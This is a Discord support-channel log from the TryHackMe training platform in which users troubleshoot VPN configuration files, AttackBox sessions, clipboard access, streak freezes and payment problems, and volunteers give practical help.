It shows up on my dashboard. Maybe it was a loading error or your ISP has some kind of weird content filtering, but it's there.

[shrewd spoke]

I have a query regarding the streak freeze(s) and how they work. I had a steak freeze and a 7 day streak freeze from the previous comp added to my account. I missed one day and now have no streak freeze applied. Went from 8 days to zero by missing a day. If someone can explain the logic that is used in the streak freeze computation/application it would be greatly appreciated.

[upbeat quarry]

check this message from plmi who had exactly the same error output like you originally reported: #site-support message
for that user, in the end, it seems US-West-Regular-1 VPN server worked
I understand that you had tried that one, but maybe it is just a matter of trying again, as well as regenerating (that bit is important too)

[zinc briar]

Wow! i tried just now again and the us-west worked today. Then i thought i try the EU also again and that worked too... I didn't change anything from yesterday and I don't know why it is working again, but i guess i am glad that it works now...
Thanks, for your support!

[scenic torrent]

Gave +1 Rep to @upbeat quarry (current: #22 - 437)

[fathom steppe]

Im also from germany. For me the EU-VIP works pretty well if you have premium

[cobalt sun]

Ignore my last if you saw it, it's working now.

[naive dust]

[ember osprey]

They were both "activated" at the same time 😦 . Only difference is that with a 7 day freeze you can skip up to 7 days and with 1 day freeze you can skip only one day .

[shrewd spoke]

Yeah, I realise that now. I read through the FAQ on the subject and now know they do not stack. Bit of a bummer as I redeemed both the 1 day and 7 day streak freezes from last comp whilst having a streak freeze in place. Basically threw them in the bin for no reason! Oh well, you live and learn. Pain in the ass with Christmas coming but I now have an excuse to wake up Christmas Day and log on to THM for a room or 2!!

[ember osprey]

Yeah , it is a real bummer 😦 . Enjoy Day 2 buddy 😄

[shrewd spoke]

Luckily I still have 142 day streak; realised before losing it this time. Just hoping for a week off over Christmas but that is out the window now. Also found out that the 5% off the swag store has to be requested when a streak is gained via emailing support.

[ember osprey]

I have some unused swag off vouchers if you need them 🙂

[shrewd spoke]

Appreciate the offer, really is most kind of you but I don't need them. You sir, are a gentleman.

[ember osprey]

However you like sir , if you change you mind feel free to send a message 😄 . Have a nice day and enjoy on THM 😄 .

[marble thunder]

where can i report a username present in the server who DMd me asking if I need any "hacking services" 😂 ?

[zealous hinge]

Hello yall, I would like to do Advent of Cyber but for already second day, the built-in VMs are not working, I can't connect to internet, thus to websites provided for doing tasks. What can I do?

[ember osprey]

If you aren't a premium user AttackBox doesn't have Internet access 😦

[zealous hinge]

Oh really?😮

I didn't know that, I did some tasks before on tryhackme but that was long time ago and if I am not mistaken, it worked. Also, for some time it worked, I did the first task and I was able to download two files but then it crashed and i couldn't access internet anymore

[ember osprey]

Alternatively you can use your own VM via VPN 🙂

[zealous hinge]

I did that, I used my Kali in VirtualBox, I downloaded conf file for vpn and connection was succcesful but I couldn't visit the mp3 converter website

[idle leaf]

Hey there, OWASP task 10 trying to get in to th link givin http://10.10.52.247:82/ but I get an error in a new browser says this site can't be reached the same message I receive when I go to task 11 and click on the text

I tried two browser edge and chrome but got the same error

[ember osprey]

Could you provide a screenshot 🙂 ?

[ember osprey]

Could you provide a screenshot 🙂 ?

[zealous hinge]

😂

Now it works

I don't understand😂I entered IP into my kali vm and I got elastic (second day task)

[ember osprey]

Glad to hear that , enjoy the room 🙂

[zealous hinge]

Thanks

[idle leaf]

I tried checking proxy and completed network diagnostics

no netowork issues

[ember osprey]

Can you access http://10.10.10.10/ ?

[idle leaf]

negative

[ember osprey]

Then something is wrong with your VPN connection 🙂 . Check what's going on 🙂

[idle leaf]

i don't have a vpn connection i'm using the attack box

fixed it

[ember osprey]

Glad to hear that , enjoy the room 🙂

[wooden egret]

this may be a stupid question, is there a way to see all the certificates i have in one place?

[brittle onyx]

Are there any reported issues with EU-Regular-1 VPN? Two machines and 2 THM accounts not able to access it. No errors from openvpn but can't hit 10.10.10.10

[upbeat quarry]

I am not aware of such, but if connecting to the VPN fails, it is just a matter of cycling through other VPN servers, as well as regenerating config files
make sure the config file after regenerating is different from before regenerating, otherwise there is no point You can just do a md5 file of the config files to make sure they are indeed different

[vague wedge]

Hi Eveyone

[ember osprey]

Hi , welcome 🙂

[vague wedge]

Actually I need a help regarding payment issue of TryHackMe Subscription.

[weary spindle]

Use #3

[weary spindle]

You need to contact support via email

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 8, 2024, 5:07 PM

[vague wedge]

okok

[brittle onyx]

Swapping vpn servers worked ty

[potent tiger]

Hello, I'm trying to connect to OpenVPN with EU-Regular-1 and others too, and when I download the configuration file, there's 0 bytes in it. I've tried regenerating it 8 times - no dice.

I've been told it might be an account-specified thing, so if that's the case, can you look into it and fix it, please?

[weary spindle]

Try Eu-Reg-3

[potent tiger]

I'll try it and let you know, thanks.

[scenic torrent]

Gave +1 Rep to @weary spindle (current: #1 - 3077)

[potent tiger]

Worked now, thanks! Was it a one-time issue? Anything I need to know in case this happens in the future?

[weary spindle]

Some of the VPN servers are... pernickety.

[potent tiger]

Okay noted, I'll just switch around if it happens again. Thanks for your help

[thin linden]

hello i need help

[brittle onyx]

TeamViewer

[hollow fossil]

did you do anything to fix it? I recreated VM's, redownloaded config files, switched to EU-regular-2, but nothing, keep getting TLS handshake failed

[weary spindle]

Try 3.

[hollow fossil]

2024-12-08 14:06:34 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
2024-12-08 14:06:34 TLS Error: TLS handshake failed
2024-12-08 14:06:34 SIGUSR1[soft,tls-error] received, process restarting
2024-12-08 14:06:34 Restart pause, 5 second(s)
2024-12-08 14:06:39 Outgoing Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2024-12-08 14:06:39 Incoming Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2024-12-08 14:06:39 TCP/UDP: Preserving recently used remote address: [AF_INET]54.76.30.11:1194

same thing

4 works

hope THM can get this sorted, been going on for days

thnx @weary spindle

[naive dust]

Connected to openvpn, doing the openvpn room, getting this, connection is fine (checked terminal), EU-Regular2

[whole sundial]

How can one paste text into a windows vm?

(in the browser)

[vocal dune]

Hi all, I purchased a yearly sub last night and noticed on the invoice this morning that it included UK VAT @ 20%. I don't live in the UK - did I make a mistake when paying or is there some way of claiming the 20% back?
I'm not sure how VAT works but I assume the retailer is required to pass this money onto the UK tax office?

[whole sundial]

Ok I got it. CTRL + ALT + SHIFT opens the window in guacamole to copy text to this machine

[upbeat quarry]

could it be you are trying to browse to your tun0 IP?

[upbeat quarry]

in which browser are you using this key combination?

[marble breach]

Done!

[novel goblet]

wreath network is down I don't know the reason

[upbeat quarry]

you can use the Options button to leave the network and then join again: you will be assigned to another instance of the network with a different subnet; hopefully that new subnet will start

[novel goblet]

did I lose my old progress?

[upbeat quarry]

yes, because you will work wtih different IPs

[novel goblet]

okay I will try

it worked with my progress
thanks @upbeat quarry

[scenic torrent]

Gave +1 Rep to @upbeat quarry (current: #22 - 438)

[upbeat quarry]

Thanks for the feedback
you mean, despite the new IPs you kept your progress?

[scenic torrent]

Gave +1 Rep to @novel goblet (current: #834 - 5)

[novel goblet]

yes
38% and pwned first machine

[coarse edge]

hey anyone can help me with the openvpn setup i am not able to connect, my openvpn service is getting closed as soon as i am trying to start

[cursive crest]

Hello, I am attempting the "breaching active directory" room, and at this point, it told me to contact support?

Run nslookup tryhackme.com <THM DC IP> - This will verify that the DNS server within the network is active, as the domain controller has this functional role. If the ping command worked but this does not, time to contact support since there is something wrong. It is also suggested to hit the network reset button.
"communications error"

[barren glacier]

Hi everyone any customize Kali linux have please inform me

[ember osprey]

Check out this article 🙂

https://tryhackme.com/r/room/openvpn

[ember osprey]

You have Kali machine on THM 🙂

https://tryhackme.com/r/room/kali

@weary spindle

[sterile mist]

How do I open attackbox in a new tab? My logs were cut off because of the small size of the screen of attackbox. How do I make attackbox's screen bigger than the default? Thank you!

[ember osprey]

You can press the full-screen button which is the leftmost button on the AttackBox bar below the box 😄

Make sure to allow clipboard permissions also if asked 😄

[sterile mist]

Thanks!

[marble breach]

Done!

[ebon garden]

Hey my is showing that and it did not give me ping at 10.10.10.10
Please help

[ember osprey]

Can you access http://10.10.10.10/ in your browser 🙂 ?

[ebon garden]

Wait

[ebon garden]

Nope it shows unable to connect

[ember osprey]

Try to change the VPN server and re-generate the file 🙂

[ebon garden]

Explain it.

[ember osprey]

Close that VPN connection , go to Access page on your account on THM website , select different VPN server ( if you're from Europe chose EU-Regular-3 for example ) and click re-generate then download and use that VPN file 🙂 . Also make sure that you're running VPN with sudo permissions 🙂

[vocal dune]

Hi all earlier today I asked a question regarding VAT, is there a better place I can ask for help/advice?

[ember osprey]

Try to get in touch with THM support 🙂

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 9, 2024, 5:49 AM

[ebon garden]

Thanks bro

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 1037)

[minor coyote]

I want to become a hacker, what should I do?

[tacit isle]

3 times AOC2024_Day_4_Atomic_glitch_V2.1 VM machine exit with no error ... it is not usable in state and we must have VM to finish ... but how can we finish if VM is shuting down ?

[ember osprey]

Try to refresh the web page and start machine again 🙂

[tacit isle]

Thanks ! done , i successfully finished the Day4 !

[ember osprey]

Congrats buddy , great job 😄

[tacit isle]

Thanks , now i am on Shell ( last day ) , for unknow reason , i have a file on desktop test.txt but ... i never see the flag.txt coming

ok got it

i found

[crisp berry]

Hey guys ! I'm creating my own room for a workshop at school ! I create my VM on virtualbox and export it in .ova to deploy it on Tryhackme but it is unreachable, I ping it, try to connect in ssh, nmap it... nothing on the ip given by the site when I start the machine ? Can somenone help me ? is there a special configuration for tryhackme ?

[upbeat quarry]

in the THM support bubble, available on each THM web page (bottom right), search for "creation" to access this resource: "Room creation overview"
you can access the same documentation through this link: https://help.tryhackme.com/en/collections/3665115-room-creation

[icy star]

Hi everyone. I want to buy a voucher but my 2 cards is declined by THM. Who knows the such a problem?

[broken token]

same here, says card declined but when i check my card i see that a payment was processed

[ember osprey]

Try to reach out to THM support 🙂

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 9, 2024, 2:40 PM

[vapid turret]

im having an issue with attack box its saying unable to locate package for 2 different apt installs one of which i installed yday for another ctf

[broken token]

thanks for the email, i opened at ticket 👍🏻

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 1063)

[ember osprey]

Try to get in touch with support 🙂

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 9, 2024, 3:08 PM

[fallow breach]

are the attackbox and room-vms so slow and wont start up properly regularly only for me? or is this a known problem?
I am trying on different times of the day to avoid peak times, still slow and often breaking 😦

anything i can optimize my experience with the online-VMs ?

[ember osprey]

They may be slow these days because of congestion due to Advent of Cyber 😦

[zinc crystal]

I have a problem, I'm trying to connect via the openvpn file and it won't connect and yesterday everything worked for me and I didn't change anything.
I also tried downloading a new openvpn configuration file, but it's empty....so I don't know if it's a platform error or if anyone else has a similar problem. Or does anyone have any advice on how to fix it?
I would be grateful for any advice.

[ember osprey]

Change VPN server and press Re-generate 🙂

[zinc crystal]

thanks i try 🙂

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 1070)

[umbral meteor]

Have a problem. Ran through the thm troubleshooting method after changing VPN servers and regenerating but still cannot connect to tryhackme. Tried it on wsl and VMware Workstation. On the troubleshooting script is was successfully connected but after confirming it gave me a MTU value failed at 1000, aborting MTU check code.

[brave sky]

sameee

can someone please help?

[weary spindle]

Whihc VPV server?

[brave sky]

IN-Reg 1

[weary spindle]

Try a different server

[ember osprey]

Try not to use WSL lot of users reported issues with it 🙂

[brave sky]

I did tried other servers

but same issue

[umbral meteor]

I've emailed support. I've tried other servers and tried VMware Workstation.

[weary spindle]

Are you using WSL?

[umbral meteor]

not anymore

using kali linux on vmware

[weary spindle]

Which country are you in?

[umbral meteor]

US

Just tried west regular and it gets stuck at protocol options: explicit-exit-notify 3

[brave sky]

I am also using Kali Linux on Virtual Box

[weary spindle]

Yeah, does it say 3 lines up connection initilized?

[umbral meteor]

yes Initilalization Sequence completed. But on tryhackme it says I'm not connected to the vpn. Went to 10.10.10.10 and it says I'm connected.

[weary spindle]

Ignore the web page that is telling you that you're not connected.

It can be broken for some users.

[umbral meteor]

roger

on the r/access it says i'm not connected

[potent tiger]

I'm not able to copy-paste things from my host to the machine in Day 8's task in AoC - although I've enabled my browser settings to allow clipboard.

[solid fulcrum]

my pro subscription ended so i only have 1hr of VMs now. trying to RDP to the room VM from my Kali VM, OpenVPN is connected and i can ping the VM IP but my RDP isnt working. Any ideas?

[13:35:40:775] [8260:8261] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 32: Broken pipe
[13:35:40:775] [8260:8261] [ERROR][com.freerdp.core] - transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[13:35:40:037] [8260:8261] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 32: Broken pipe
[13:35:40:037] [8260:8261] [ERROR][com.freerdp.core] - transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[13:35:40:037] [8260:8261] [ERROR][com.freerdp.core] - freerdp_post_connect failed

[ember osprey]

Check pined message in https://discord.com/channels/521382216299839518/1305926862114914325 channel 😄

[ember osprey]

Try to use Remmina

[solid fulcrum]

Still doesn't seem to work using "Remmina", are there any additional ports or settings i need to know?

[hollow fossil]

anyone experiencing AoC being extremly slow? connected to:
version: production-965fc29 but page not loading. Url: https://tryhackme.com/r/room/adventofcyber2024

logs show: api-sr.amplitude.com returning 429 too many requests

[full sandal]

hello I hope this is were can get some help. The copy/paste function is not working for the challenge I've been stuck on Day 1 trying to figure out whats wrong.

[solid fulcrum]

if your using attack box.. there is a menu on the left thats hidden, you paste in there first, then on the VM

[full sandal]

oh wow. Thanks. It worked. that was fast

[solid fulcrum]

more details on my RDP config

[full sandal]

hey, so i can only use the attack box for an hour a day?

[solid fulcrum]

if you are a free user yes i think the limit is 1hr 😦

[full sandal]

ok. if i pay how long is my membership?

[solid fulcrum]

ok dw, i terminated the machine and tried again, thought i already tried this. but its also given me access in the room too. soo confused!
maybe it gives you 1hr access to EACH VM per day? I get confused between the VM and the attackbox 😅

[full sandal]

how long if i pay?

[solid fulcrum]

monthly or annually for unlimited access

there is a promo for Advent of Cyber you get discount using code: AOC2024
tryhackme.com/r/why-subscribe

or you could try and rdp using openvpn like i was trying to do, which is free

[kindred flint]

Anyone know how to copy and paste from attack the box to power shell?... Am I being stupid.

[karmic wing]

Hi guys,

I have some trouble connecting to the OpenVpn, it keeps reconnecting until it fails.
I already tried to regenerate the key, but no luck. sometimes the .ovpn key downloaded is 0 bytes,
switching servers doesn't seem to help. Am i missing something?

[solid fulcrum]

i just stuggled with this, you can copy out but not in. dont think it can be done

[kindred flint]

Go to room help someone tells you how to on there

[solid fulcrum]

depends on OS and many factors. i struggled to get my karli box working. but update, reboot and try again?
infact i was getting errors even though it was working. I ended up installing the VPN profile on the GUI as the cmds would work as expected. This is for Linux obviously though... ill try and find the guide.....

[karmic wing]

Thanks for your reply. i'm tried installing it on macOS, windows and linux kali. All no luck.
It was working before, but then i clicked regenerate once and now it fails to work.

[scenic torrent]

Gave +1 Rep to @solid fulcrum (current: #2466 - 1)

[karmic wing]

i also tried this script. but it fails to make an connection
https://github.com/tryhackme/openvpn-troubleshooting

[solid fulcrum]

have you tried alternative servers? there is a drop-down for the different server profiles. i found EU1 wasnt good but 2, 3 and 4 work for me

[karmic wing]

Yes i must have tried them all by now

[solid fulcrum]

ignore what the site says if your connected or not. try pining your attack IP or doing a whats my Ip to confirm if you are connected

[karmic wing]

I'm currently using the openVPN Connect application, and that is failing.
And on linux its not giving me an error, but the networks are unreachable.

Could it be that my account is blocked?

[solid fulcrum]

without any errors, i dont really know. Im just a user but i doubt you can get blocked, unless you've broken community rules. I did struggle but then it ended up working. could be demmand related maybe?

I think the commands i used where these, cant find the URL i got them from tho. coz the cmd line kept giving me errors, but this gave me the IP in the menu bar and i was able to ping. so the errors were false

sudo apt install openvpn
sudo apt-get install openvpn network-manager-openvpn network-manager-openvpn-gnome
sudo nmcli connection import type openvpn file {your ovpn file}

you can then use the gui rather than command line

and save your vpn profiles for easy access

[naive dust]

Can anyone help with some advice? Copy-paste isn’t working from my host machine to the Windows VM. I’m using Brave Browser, and clipboard is allowed. Does anyone know how to fix this? Also, I don’t have the same problem with the Attack Box.

[zealous yoke]

@naive dust 👋

Just to double-confirm, you've opened up the Windows VM in fullscreen/a new tab. In that new tab, have you got any permissions there specific to that URL?

FOr example, on chrome, next to the URL, there's a little icon to double-check permissions (such as clipboard) for that specific URL. Clipboard/etc access is usually URL specific. We've added more servers to handle capacirty, so if it's worked previously then this would be good to check

I'm not totatally clued up on brave browser, but we generally recommend chrome/chromium browsers for copy and paste.

The functionality of copy and pasting to Windows VMs is currently a bit "browser specific"

[naive dust]

Yes, the Windows VM is opened in full screen in a separate tab, and all the necessary permissions are enabled. Brave is essentially the same as Chrome under the hood, and I’ve disabled all the shields for this session.

[zealous yoke]

Mhhm that's intersesting -- thanks. Lemme have a quick think

[naive dust]

Also, I have the Attack Box running in another tab, and copy-paste works fine there. Could it be a sequence issue? I launched the Attack Box first and then the virtual machine.

[zealous yoke]

Mhhm. Interesting that the AttackBox works but the Windows VM doesn't. Sequence shouldn't matter

Are you by chance trying to copy and paste directly into powershell? (I.e. right click / Ctrl + V) Or if for example, copy and pasting into Notepad on the target Windows VM

[naive dust]

I tried both 🙂 to paste into powershell and Notepad++

[zealous yoke]

How odd

brave is chromium based so the premise should be the same. Do you by chance have any alternative browser to test this on? Firefox can be a bit iffy, the best conditions is Chrome itself

I'll setup Brave on my end and see if I can replicate this

[naive dust]

okayy. I'll try 🙂

[zealous yoke]

Thanks:) I'll try with brave on my end and see if I can replicate

Okay, I'm on the windows VM via brave - just to triple check, you might've got a pop-up like this?

The URL/name will likely be different in your end but the permissions are the same

the heading/url will probably be different to yours

with that on this version of Brave the copy and paste works fine O.o

[hot sparrow]

help me answer the question How many HANDSHAKE entries are there in the Network Log, I scanned and it shows 3 computers but when I answer it it is wrong

[naive dust]

uf.. thanks Ben, I'll try to figure out tomorrow 🙏

[scenic torrent]

Gave +1 Rep to @zealous yoke (current: #9 - 900)

[zealous yoke]

Yeah 😅 sorry that I can't be of much more help. I would just suggest chrome/alternative to see how you experience is alas

[marble breach]

There are no URLs in that message.

[untold bluff]

hello im having trouble with openvpn how do i upload a photo of my issue, because the room is not givin me the option to do so

[ember osprey]

You need to verify in order to upload images 😄

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[wheat pawn]

Hello Leet! i am haveing problem with attackbox . Its showing Failed to connect to sever Try Reconnect.

[ember osprey]

Where it shows that 🙂 ?

[wheat pawn]

After starting the Attackbox

in advent of cyber .

[ember osprey]

Can you use AttackBox ?

[wheat pawn]

No i can't use AttackBox. then i tried with openvpn but after entering the assign ip on browser its showing -The proxy server is refusing connections

[icy star]

Who is support? How to get them?

[ember osprey]

You can reach them on their email 😄

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 10, 2024, 4:12 AM

[ember osprey]

You don't need VPN if you're using AttackBox 🙂

[icy star]

Are you official face of THM or joking here?!

[ember osprey]

No , I don't work for THM 🙂

Nor joking

[wheat pawn]

AttackBox is not working though i am trying with openvpn

[ember osprey]

You don't need openVPN if you want to use AttackBox 🙂

[wheat pawn]

But AttackBox is not working

[ember osprey]

Could you provide a screenshot ?

[icy star]

@crystal marlin Hi ! Asking 3rd time, I have troubles with payment, Few weeks ago I bought 1 year subscription and now THM rejecting all of my cards VISA from Kazakhstan. Anything changed?

I tried to buy voucher by clicking gift subscription...

[crystal marlin]

Hey there 👋

Unfortunately I can not help you with that.
You would have to reach out to [e-mail] for that matter.

But generally, I think it's not THM rejecting your cards, rather than your bank declining it for some reason.
So it might be worth getting in touch with your bank asking why it's being rejected.

[icy star]

I tried 4 different types of card. May be any sanctions idk... Whatever, I sent ticket to support. thanks

[scenic torrent]

Gave +1 Rep to @crystal marlin (current: #4 - 1843)

[ember osprey]

wdym by joking 😄 ?

[echo fable]

Hello, I'm doing the Moniker Link (CVE-2024-21413) room and my VM machine keep getting shut down. I know it can happen sometime but the Try Hack Me Help Center said it should not be frequent. I can't even finish a task without the VM getting shut down

[ember osprey]

There seems to be a temporary problem with Moniker lesson due to a recent AttackBox update , it should be fixed soon 🙂

[echo fable]

ok then I'll do this room later thanks

[gleaming wren]

How do streak freezes actually work? I had a two-day freeze equipped on my account but lost my streak after 1 day due to a regional power failure. I haven't seen anything about how to manually activate it but the evidence suggests that it isn't automatic.

[ember osprey]

They were both "activated" at the same time 😦 . Only difference is that with a 7 day freeze you can skip up to 7 days and with 1 day freeze you can skip only one day .

Same applies if you had a 2 day freeze 😦

[gleaming wren]

Then how did I lose my streak? I had two days and yet after missing only 1, my streak was reset.

[ember osprey]

Because with 2 day streak , you can skip up to 2 days , but still , if you miss only one day , you will lose streak freeze . Same will apply if you had for example a 15-day streak freeze 😦

[gleaming wren]

But I lost both my streak freeze and my streak after one day.

[ember osprey]

Yes , that's how streak freezes work

[gleaming wren]

Then what's the point? If I build up a 7 day streak, I get a one day freeze. If I then skip a day (let's call it day 8) and then generate activity on day 9, I understand losing the freeze but my streak should then be at 8, not 1.

The freeze is completely useless if the result of missing even a single day is the same (streak goes to 0) regardless of whether the account is eligible for a freeze or not.

[ember osprey]

If you have a 7 day freeze and skip 7 days , your streak will remain . But if you skip let's say 4 days , you won't have the remaining 3 days of the streak freeze , it will be gone but your overall streak will stay

[gleaming wren]

Ok, I think I know what happened now. I found a screenshot I took of my streak going at least as high as 15, but for that to work you would have to cross another gap day, which would have melted the freeze long before the day I actually lost my streak.

That still bothers me because I could swear that it was still saying I had a 2-day freeze equipped when in fact that would have been untrue per your explanation, but I can't remember clearly so I could be making that up and more importantly I at least have a better idea now. Appreciate your patience, though now I have to test it to see if I'm crazy or not.

[tight wren]

Hey guys, just finished the certificate, but I had a random name instead of my real name, any clue how I could change it?

[ember osprey]

You will need to contact support I think , certificate uses your username not your real-name 🙂

[tight wren]

It used my real name, but I’d prefer it like that anyway

However I had not put my real name

But I guess I’ll contact support

[weary spindle]

Your name can't be changed on them.

[tight wren]

Any reason why? I mean it’s not hard to change a digital cert

[weary spindle]

Once it's generated it's stored in an Amazon bucket.

[void carbon]

Hi, anyone here who make documentary videos while hacking on THM?

I was looking to document my hacking journey and perhaps post to my YouTube and socials...I'd like to know the Do's and Don'ts...?

@ember osprey

[ember osprey]

Try to consult with some admin or mod 😄

[void carbon]

On the site or on here? It's just screen recording...do I disclose the Attack box and site ips or not?

I'd really appreciate it if you can give me some advice.

[ember osprey]

IPs shouldn't be a problem , they're private anyway , they aren't reachable over Internet 🙂

[void carbon]

Okay great, so they can be visible in my videos and not be a security concern?

Thank you

[edgy drift]

Hi, I was wondering is there problem with anthem box, I cannot ping from my machine using openvpn nor attack box. I can nmap it from attack box and occasionally from my machine. I can ping and nmap my attack box from my machine and ping to 10.10.10.10 works fine.

[ember osprey]

If you can access http://10.10.10.10/ your VPN connection is fine 🙂

[edgy drift]

yes I can, so problem is with the box then?

[ember osprey]

Yeah , connection is fine something else may be the problem 🙂

[edgy drift]

okey, well no it seems kinda work

[tawny star]

Is anyone have trouble with the THM attackbox? In the past hour the attackbox shutdown without notification.

[weary spindle]

Anthem is Windows.

[dusk bay]

yeah needed to create another attackbox

[edgy drift]

yeah i noticed thank you, yesterday it didnt work at all, but now it does ✌️

[scenic torrent]

Gave +1 Rep to @weary spindle (current: #1 - 3088)

[craggy kettle]

Hi i just got into the site again after a long time. I used my one email where always get a notifactions from TryHackMe but i forgot the password, i pressed forgot password but there was no email for restoring my password. So i tried using google as a login method and it worked, but it said hi ... welcome to tryhackme from the same email were i alredy get like ads and stuff for tryhackme. is this a bug or sum?

[weary spindle]

You'll need to reach out to support.

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 10, 2024, 4:02 PM

[dry blade]

I’ve been trying to purchase the AWS addon but keep running into errors ?

Saying unable to calculate tax rate as the shipping/billing address is invalid or incomplete. I purchased the yearly THM subscription without issue though so I am not understanding this

[ember osprey]

Try to get in touch with support 🙂

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 10, 2024, 4:33 PM

[dry blade]

Oh okay I thought this area was for support.

[ember osprey]

You need to contact support via email for payment issues 😄

[misty sonnet]

I'm having problems with the openVPN from THM. Both <cert> and <key> are empty so I can't connect with the file

[ember osprey]

Try to change the server and re-generate the file 🙂

[misty sonnet]

Thanks, EU-1 and 2 didn;t work, 3 does 😄

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 1114)

[hardy mist]

Dear TryHackMe Support,

I'm experiencing issues with the AttackBox as it runs very slowly and gets laggy every time I use it. I subscribed with the expectation of smooth performance and would appreciate your assistance in resolving this.

[lusty star]

Hi, may I have some help on Enumerating Active Directory room, follow this command "[thm@thm]$ systemd-resolve --interface enumad --set-dns $THMDCIP --set-domain za.tryhackme.com" with the DC IP, cannot nslookup thmdc.za.tryhackme.com

[ember osprey]

Try to ask here https://discord.com/channels/521382216299839518/522158539129618453 😄

[drifting arch]

bonsoir, désolée de déranger mais l'ia refuse toutes mes réponses sur le sites, que faire?

[weary spindle]

Hi, in this server we use English for communicating. 🙂

[drifting arch]

Good evening, sorry to bother you but the AI ​​refuses all my answers on the site, what should I do?

[ocean crater]

Are you, asking in French?

[rain osprey]

hello, can someone help me with the upload vulnerability room please? Everything was fine yesterday, I want to finish the last challenge today but I cant connect

[naive dust]

I've got this problem and it's very annoying (sorry for re asking it). When I try to use the AttackBox provided by THM it usually says I already used it for 1 hour even when I haven't used it yet. I checked my flag and it's the same as the country I live in.

"Non-subscribed user can only deploy the free AttackBox for 1 hour a day. Subscribe for unlimited access" I know that as a "free" user I only have one hour but this pops up even when I haven't entered the AttackBox

Who can I contact to solve this?

[rotund locust]

I have an issue I tried to get the premium thing so I can spend more time learning and I have paid and it has gone through but I do not have the premium, however I have been charged

[honest lance]

I cant get the vpn working at all; I've downloaded the connection package, I run sudo openvpn /path/to.ovpn and I get the Initialization Sequence Completed but the access page never shows connected and I cant access 10.10.10.10... any ideas?

[violet sun]

Hey all, I'm not able to deploy the machine at all for SOC Level 1 > Cyber Defence Frameworks > Summit from the website itself. I just got the premium too. I tried re-deploying it after deleting browser cache and it still dint work

[ember osprey]

Which rooms , which question and what's your answer 🙂 ?

[ember osprey]

Try to ask here https://discord.com/channels/521382216299839518/522158539129618453 😄

[ember osprey]

Try to get in touch with support

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 11, 2024, 4:38 AM

[lunar fractal]

i am trying to solve the web-application penteration testing lab enumaration but in that i whant to find a email as answer but the problem is i can't redirect on enum.thm/labs/verbos_login/function.php page

i used attckmaschine for this

[ember osprey]

Try to ask here https://discord.com/channels/521382216299839518/522158539129618453 🙂

[thorn swan]

What is the best way to contact this Discord admin about sharing a new job posting?

[frank pecan]

Hey guys! I'm finally getting into cybersecurity and dont want to spend on the premium just yet. Would you guys recommend doing it through WSL or having a VM? I don't care too much about GUI stuff, I am pretty comfortable with bash and have been using WSL already for work and school. Will VM help a lot more for me to make the switch worth?

This is for connecting to the try hack me machine

[ember osprey]

Try to avoid using WSL 🙂 . Lot of users reported problems with WSL and their VPN connection to THM network 😄 .

[frank pecan]

Ah ok good to know. Is that the only issue? If so I'll try it out for a bit and if I come across anything weird with the connection I'll just set up the VM

[ember osprey]

Yes , I would recommend you to set up your own VM 🙂

[frank pecan]

Sounds good, thank you for the help!

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 1123)

[lavish jay]

anyone else in Australia unable to connect? I have regenerated the file, redownloaded after deleting, I have updated my VM with sudo apt update && sudo apt upgrade, openvpn is installed. Any help would be amazing

[ember osprey]

Can you access http://10.10.10.10/ 🙂 ?

[lavish jay]

yes and it has a "your vpn/Tryhackme ip is : "blah.blah.blah.blah

but the instructions say that isnt a clear way to check if i am connected

[ember osprey]

Then you're connected , there's seems to be a temporary bug with that connect verification on website 😄

[lavish jay]

oh okay cool

[ember osprey]

You're good 🙂

[lavish jay]

thank you !

[ember osprey]

https://tryhackme.com/r/room/splunk101

[fluid phoenix]

Nice, Fyreweaver. Asking the right people the right questions. I remember the first time I realized I can use Powershell to use openvpn and connect. I was like, "Oh, that makes sense.lol." I had to try twice to get my virtual machine up. Must be a lo t of Holiday Hacking for sure. So glad to be back on the Tryhackme program learning crazy sick skills 😉

[ember osprey]

https://tryhackme.com/r/room/splunk2gcd5

https://tryhackme.com/r/room/splunk3zs

[ember osprey]

We're glad to have you back 🙂 . Welcome back 🙂

https://tryhackme.com/r/room/contiransomwarehgh

https://tryhackme.com/r/room/splunkexploringspl

https://tryhackme.com/r/room/introtosiem

These ones are free 🙂

There're no Free cloud log labs , only some walkthrough sections 😦

There're

https://tryhackme.com/r/path/outline/attackinganddefendingaws

🙂 ?

Wdym by that ?

No , there're no rooms that are based around AWS forensics using solely ELK or Splunk

No

[drifting arch]

Yes, i'm french

[ocean crater]

I don't think the AI supports French? I could be wrong though.

[formal aspen]

hi im having a problem connecting to the vpn server

[ember osprey]

What's the problem 🙂 ?

[formal aspen]

when i download the config file i keep trying to connect but doesnt conect for some reason

it keeps restarting the process

[ember osprey]

Could you provide a screenshot ?

[formal aspen]

yes ofc one second

[marsh magnet]

@formal aspen you will need to verify first

[west chasm]

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

